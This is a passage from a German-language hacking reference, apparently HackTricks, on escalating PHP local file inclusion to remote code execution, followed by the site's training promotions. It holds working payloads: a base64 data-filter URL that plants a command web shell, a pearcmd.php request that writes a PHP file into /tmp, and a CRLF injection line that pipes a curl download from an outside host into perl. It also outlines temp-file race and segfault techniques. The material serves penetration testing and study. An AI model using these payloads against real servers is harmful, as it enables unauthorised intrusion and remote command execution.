Wie in this Artikel gezeigt, ignoriert der PHP base64-Filter einfach Nicht-base64. Du kannst das nutzen, um die Überprüfung der Dateiendung zu umgehen: wenn du base64 lieferst, das mit ".php" endet, würde er einfach den "." ignorieren und "php" an das base64 anhängen. Hier ist ein Beispiel-Payload:
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
Über php filters (keine Datei nötig)
This writeup erklärt, dass du php filters verwenden kannst, um beliebigen Inhalt als Ausgabe zu erzeugen. Das bedeutet im Grunde, dass du beliebigen php code für das include erzeugen kannst, ohne ihn in eine Datei schreiben zu müssen.
Über segmentation fault
Upload eine Datei, die temporär in /tmp gespeichert wird; dann im gleichen Request einen segmentation fault auslösen — die temporäre Datei wird dann nicht gelöscht und du kannst sie suchen.
LFI2RCE via Segmentation Fault
Über Nginx temp file storage
Wenn du eine Local File Inclusion gefunden hast und Nginx vor PHP läuft, könntest du mit folgender Technik RCE erlangen:
Über PHP_SESSION_UPLOAD_PROGRESS
Wenn du eine Local File Inclusion gefunden hast, selbst wenn du keine session hast und session.auto_start auf Off steht. Wenn du den PHP_SESSION_UPLOAD_PROGRESS in multipart POST-Daten angibst, wird PHP die session für dich aktivieren. Das könntest du ausnutzen, um RCE zu erreichen:
LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS
Über temp file uploads in Windows
Wenn du eine Local File Inclusion gefunden hast und der Server unter Windows läuft, könntest du RCE erlangen:
Via pearcmd.php + URL args
As explained in this post, das Script /usr/local/lib/phppearcmd.php existiert standardmäßig in php docker images. Außerdem ist es möglich, dem Script Argumente über die URL zu übergeben, da angegeben wird, dass ein URL-Param ohne = als Argument verwendet werden sollte. Siehe auch watchTowr’s write-up und Orange Tsai’s “Confusion Attacks”.
Die folgende Anfrage erstellt eine Datei in /tmp/hello.php mit dem Inhalt <?=phpinfo()?>:
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
Im Folgenden wird eine CRLF vuln ausgenutzt, um RCE zu erlangen (von here):
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a
Via phpinfo() (file_uploads = on)
Wenn du eine Local File Inclusion gefunden hast und eine Datei, die phpinfo() mit file_uploads = on ausgibt, kannst du RCE erhalten:
Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure
Wenn du eine Local File Inclusion gefunden hast und du can exfiltrate the path of the temp file, ABER der server is checking, ob die file to be included has PHP marks, kannst du versuchen, diese bypass that check mit dieser Race Condition:
LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure
Via eternal waiting + bruteforce
Wenn du die LFI dazu missbrauchen kannst, upload temporary files und den server die PHP-Ausführung hang lassen, könntest du dann brute force filenames during hours, um die temporäre Datei zu finden:
To Fatal Error
Wenn du eine der Dateien /usr/bin/phar, /usr/bin/phar7, /usr/bin/phar.phar7, /usr/bin/phar.phar einbindest. (Du musst dieselbe Datei zweimal einbinden, um diesen Fehler auszulösen).
Ich weiß nicht, wie nützlich das ist, aber es könnte sein.
Selbst wenn du einen PHP Fatal Error verursachst, werden hochgeladene PHP-Temporärdateien gelöscht.
.png)
References
-
PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders
-
When Audits Fail: Four Critical Pre-Auth Vulnerabilities in TRUfusion Enterprise
tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
HackTricks